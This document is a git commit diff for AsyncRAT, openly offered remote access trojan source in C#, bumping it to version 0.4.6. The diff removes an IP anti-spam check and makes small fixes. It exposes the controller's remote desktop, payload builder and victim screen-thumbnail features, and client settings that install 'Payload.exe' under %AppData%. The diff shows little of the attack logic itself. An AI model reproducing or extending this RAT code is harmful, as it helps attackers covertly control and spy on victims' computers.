Minor fixes

Deleted 'IsDublicated'
This commit is contained in:
NYAN CAT 2019-05-06 15:33:04 -07:00
parent 2db828cbcc
commit e0af8a63aa
8 changed files with 13 additions and 68 deletions

View File

@ -78,7 +78,7 @@ namespace AsyncRAT_Sharp
await Methods.FadeIn(this, 5); await Methods.FadeIn(this, 5);
trans = true; trans = true;
Connect(); await Task.Run(() => Connect());
} }
private void Connect() private void Connect()
@ -109,7 +109,6 @@ namespace AsyncRAT_Sharp
Environment.Exit(0); Environment.Exit(0);
} }
private void listView1_KeyDown(object sender, KeyEventArgs e) private void listView1_KeyDown(object sender, KeyEventArgs e)
{ {
if (listView1.Items.Count > 0) if (listView1.Items.Count > 0)
@ -118,7 +117,6 @@ namespace AsyncRAT_Sharp
x.Selected = true; x.Selected = true;
} }
private void listView1_MouseMove(object sender, MouseEventArgs e) private void listView1_MouseMove(object sender, MouseEventArgs e)
{ {
if (listView1.Items.Count > 1) if (listView1.Items.Count > 1)
@ -129,7 +127,6 @@ namespace AsyncRAT_Sharp
} }
} }
private void ping_Tick(object sender, EventArgs e) private void ping_Tick(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -142,9 +139,9 @@ namespace AsyncRAT_Sharp
} }
} }
private void UpdateUI_Tick(object sender, EventArgs e) private void UpdateUI_Tick(object sender, EventArgs e)
{ {
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
} }
@ -334,7 +331,6 @@ namespace AsyncRAT_Sharp
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
try try
@ -413,7 +409,7 @@ namespace AsyncRAT_Sharp
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
{ {
using( FormBuilder formBuilder = new FormBuilder()) using (FormBuilder formBuilder = new FormBuilder())
{ {
formBuilder.ShowDialog(); formBuilder.ShowDialog();
} }
@ -586,7 +582,10 @@ namespace AsyncRAT_Sharp
private static System.Threading.Timer Tick { get; set; } private static System.Threading.Timer Tick { get; set; }
private void STARTToolStripMenuItem_Click(object sender, EventArgs e) private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
{ {
Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000); if (Tick != null && listView1.Items.Count > 0)
{
Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000);
}
} }
private void GetThumbnails(object obj) private void GetThumbnails(object obj)
{ {

View File

@ -28,7 +28,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, client.LV); Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)

View File

@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; } public static string Password { get; set; }
public static Aes256 AES{ get; set; } public static Aes256 AES{ get; set; }
public static readonly string Version = "AsyncRAT 0.4.5"; public static readonly string Version = "AsyncRAT 0.4.6";
} }
} }

View File

@ -95,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected() public void Disconnected()
{ {
try try
{ {
if (LV != null) if (LV != null)

View File

@ -4,7 +4,6 @@ using System;
using System.Windows.Forms; using System.Windows.Forms;
using System.Drawing; using System.Drawing;
using AsyncRAT_Sharp.Handle_Packet; using AsyncRAT_Sharp.Handle_Packet;
using System.Linq;
namespace AsyncRAT_Sharp.Sockets namespace AsyncRAT_Sharp.Sockets
{ {
@ -40,64 +39,12 @@ namespace AsyncRAT_Sharp.Sockets
{ {
try try
{ {
Socket socket = Server.EndAccept(ar); new Clients(Server.EndAccept(ar));
if (IsDublicated(socket))
{
socket.Dispose();
}
else
{
new Clients(socket);
}
} }
finally finally
{ {
Server.BeginAccept(EndAccept, null); Server.BeginAccept(EndAccept, null);
} }
} }
private bool IsDublicated(Socket socket)
{
try
{
if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{
return true;
}
int count = 0;
foreach (Clients client in Settings.Online.ToList())
{
if (client.LV != null)
{
if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0])
count++;
}
}
if (count > 3)
{
Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]);
new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red);
foreach (Clients client in Settings.Online.ToList())
{
if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null)
{
try
{
client.Disconnected();
}
catch { }
}
}
return true;
}
return false;
}
catch
{
return false;
}
}
} }
} }

View File

@ -8,7 +8,7 @@ namespace Client
{ {
public static readonly string Ports = "6606"; public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1"; public static readonly string Host = "127.0.0.1";
public static readonly string Version = "AsyncRAT 0.4.5"; public static readonly string Version = "AsyncRAT 0.4.6";
public static readonly string Install = "false"; public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static readonly string Password = "NYAN CAT"; public static readonly string Password = "NYAN CAT";